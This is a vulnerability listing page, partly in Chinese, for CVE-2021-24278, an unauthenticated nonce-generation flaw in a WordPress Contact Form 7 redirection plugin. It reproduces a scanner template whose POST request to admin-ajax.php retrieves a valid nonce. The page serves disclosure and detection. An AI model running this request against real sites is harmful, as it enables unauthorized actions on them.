CVE-2021-24278: WordPress Contact Form 7 <2.3.4 - Arbitrary Nonce Generation

日期: 2025-08-01 | 影响软件: WordPress Contact Form 7 | POC: 已公开

漏洞描述

WordPress Contact Form 7 before version 2.3.4 allows unauthenticated users to use the wpcf7r_get_nonce AJAX action to retrieve a valid nonce for any WordPress action/function.

PoC代码[已公开]

id: CVE-2021-24278

info:
  name: WordPress Contact Form 7 <2.3.4 - Arbitrary Nonce Generation
  author: 2rs3c
  severity: high
  description: WordPress Contact Form 7 before version 2.3.4 allows unauthenticated users to use the wpcf7r_get_nonce AJAX action to retrieve a valid nonce for any WordPress action/function.
  impact: |
    Attackers can exploit this vulnerability to perform actions on behalf of authenticated users, leading to potential data breaches or unauthorized access.
  remediation: |
    Update WordPress Contact Form 7 plugin to version 2.3.4 or later to fix the Arbitrary Nonce Generation vulnerability.
  reference:
    - https://wpscan.com/vulnerability/99f30604-d62b-4e30-afcd-b482f8d66413
    - https://www.wordfence.com/blog/2021/04/severe-vulnerabilities-patched-in-redirection-for-contact-form-7-plugin/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24278
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-24278
    cwe-id: CWE-863
    epss-score: 0.35223
    epss-percentile: 0.96849
    cpe: cpe:2.3:a:querysol:redirection_for_contact_form_7:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: querysol
    product: redirection_for_contact_form_7
    framework: wordpress
  tags: cve2021,cve,wordpress,wp-plugin,wpscan,querysol,vkev,vuln

http:
  - method: POST
    path:
      - "{{BaseURL}}/wp-admin/admin-ajax.php"

    body: "action=wpcf7r_get_nonce&param=wp_rest"

    headers:
      Content-Type: application/x-www-form-urlencoded

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - '"success":true'
          - '"nonce":"[a-f0-9]+"'
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        regex:
          - '"nonce":"[a-f0-9]+"'
        part: body
# digest: 4a0a0047304502203782593a293871e6ca631f9703f1f7f8da2f47f207e39f3c75644c512117ad280221008b5ec76c1cbae8b5238ce94ceafb24f9ec75c19a836d1295676ebb6380099afb:922c64590222798bb761d5b6d8e72950

相关漏洞推荐